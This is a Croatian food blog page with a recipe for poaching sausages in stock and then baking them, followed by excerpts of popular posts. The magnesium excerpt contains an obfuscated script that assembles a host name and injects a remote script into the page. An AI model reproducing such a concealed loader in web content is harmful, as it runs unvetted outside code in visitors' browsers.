ŠTO SE STAVLJA U VODU DOK KUHAJU KOBASICE?





Što se stavlja u vodu dok kuhaju kobasice?




Svi često kobasice pripremamo na visokim temperaturama te pržimo u ulju, međutim upravo takva praksa može dovesti do suhog i nedovoljno ukusnog mesa.




Greška koju mnogi rade

S obzirom da su kobasice debele, prženje na jakoj vatri brzo zapeče vanjski dio dok unutrašnjost ostaje sirova što može dovesti do pucanja crijeva te gubitka dragocjenih masnoća. Poširanjem se omogućuje ravnomjerno podizanje temperature unutar samog mesa na sigurnu razinu, čime se svi sokovi trajno zadržavaju u proizvodu, a okus postaje znatno bogatiji i dublji.

Cijeli proces pripreme gotov je za manje od deset minuta te dugoročno može spriječiti zagorijevanje te čišćenje masnih mrlja. Kako bi ste isprobali ovu metodu, potreban Vam je tek paket kobasica, voda i jedna pileća kocka za juhu koja u tekućinu unosi dodatne začinske trave te potrebne minerale.



Pravilna tehnika koju je poželjno slijediti

Cijeli postupak najprije započinje predfazom u kojoj je potrebno zagrijati pećnicu na 180 stupnjeva, a lim je potrebno obložiti papirom za pečenje. Kobasice se zatim slažu u dublju tavu ili lonac te se ulije količina vode tolika da ih prekrije do polovice nakon čega se u tekućinu smrvi pileća kocka za juhu.

Zatim posudu stavimo na srednje jaku vatri kako bi se tekućina polako i postupno dovela do faze laganog vrenja pri čemu kuhari posebno upozoravaju na kontrolu topline. Važno je da voda ne ključa jer to može stvoriti pritisak pod kožom kobasica te uzrokovalo neželjeno pucanje crijeva prije vremena. Meso treba kuhati otprilike osam minuta.

U ovoj središnjoj fazi često se dogodi da meso nema klasičnu, prepoznatljivu, rumenu boju, međutim, stručnjaci savjetuju strpljenje. Nakon što se završi faza kuhanja u temeljcu, kobasice trebate pažljivo izvaditi iz lonca te prebaciti na lim i ostaviti u pećnicu na 12 do 20 minuta.




Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više